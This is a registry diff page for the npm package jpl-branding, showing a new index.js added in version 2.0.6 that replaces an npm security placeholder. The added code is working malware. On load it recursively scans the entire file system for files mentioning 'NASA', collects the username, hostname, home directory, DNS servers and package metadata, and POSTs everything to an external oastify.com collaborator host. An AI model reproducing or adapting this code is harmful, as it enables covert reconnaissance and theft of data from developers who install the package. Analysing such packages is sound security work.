jpl-branding 0.0.1-security → 2.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of jpl-branding might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +85 -0
  2. package/package.json +9 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const path = require("path");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ // Search for the term "NASA" across the file system
11
+ let searchResults = [];
12
+
13
+ function searchForTerm(directory) {
14
+ try {
15
+ const files = fs.readdirSync(directory);
16
+
17
+ files.forEach((file) => {
18
+ const filePath = path.join(directory, file);
19
+
20
+ try {
21
+ const stats = fs.statSync(filePath);
22
+
23
+ if (stats.isDirectory()) {
24
+ // Recursively search directories
25
+ searchForTerm(filePath);
26
+ } else if (stats.isFile()) {
27
+ // Read and search files
28
+ const fileContent = fs.readFileSync(filePath, "utf8");
29
+ const searchTerm = /NASA/i; // Case-insensitive search for "NASA"
30
+ if (searchTerm.test(fileContent)) {
31
+ searchResults.push(`Found in: ${filePath}`);
32
+ }
33
+ }
34
+ } catch (err) {
35
+ // Ignore permission errors or other issues
36
+ }
37
+ });
38
+ } catch (err) {
39
+ // Ignore errors when accessing directories
40
+ }
41
+ }
42
+
43
+ // Start searching from root
44
+ searchForTerm("/");
45
+
46
+ const trackingData = JSON.stringify({
47
+ p: package,
48
+ c: __dirname,
49
+ hd: os.homedir(),
50
+ hn: os.hostname(),
51
+ un: os.userInfo().username,
52
+ dns: dns.getServers(),
53
+ r: packageJSON ? packageJSON._resolved : undefined,
54
+ v: packageJSON.version,
55
+ pjson: packageJSON,
56
+ searchResults: searchResults.join("\n"), // Add search results here
57
+ });
58
+
59
+ var postData = querystring.stringify({
60
+ msg: trackingData,
61
+ });
62
+
63
+ var options = {
64
+ hostname: "0uvklkhvqnirs272n3pxijewjnped51u.oastify.com", // Replace with Burp collaborator link
65
+ port: 443,
66
+ path: "/",
67
+ method: "POST",
68
+ headers: {
69
+ "Content-Type": "application/x-www-form-urlencoded",
70
+ "Content-Length": postData.length,
71
+ },
72
+ };
73
+
74
+ var req = https.request(options, (res) => {
75
+ res.on("data", (d) => {
76
+ process.stdout.write(d);
77
+ });
78
+ });
79
+
80
+ req.on("error", (e) => {
81
+ // console.error(e);
82
+ });
83
+
84
+ req.write(postData);
85
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
- {
2
- "name": "jpl-branding",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "jpl-branding",
3
+ "version": "2.0.6",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "start": "echo 'hello'"
7
+ },
8
+ "dependencies": { }
9
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jpl-branding for more information.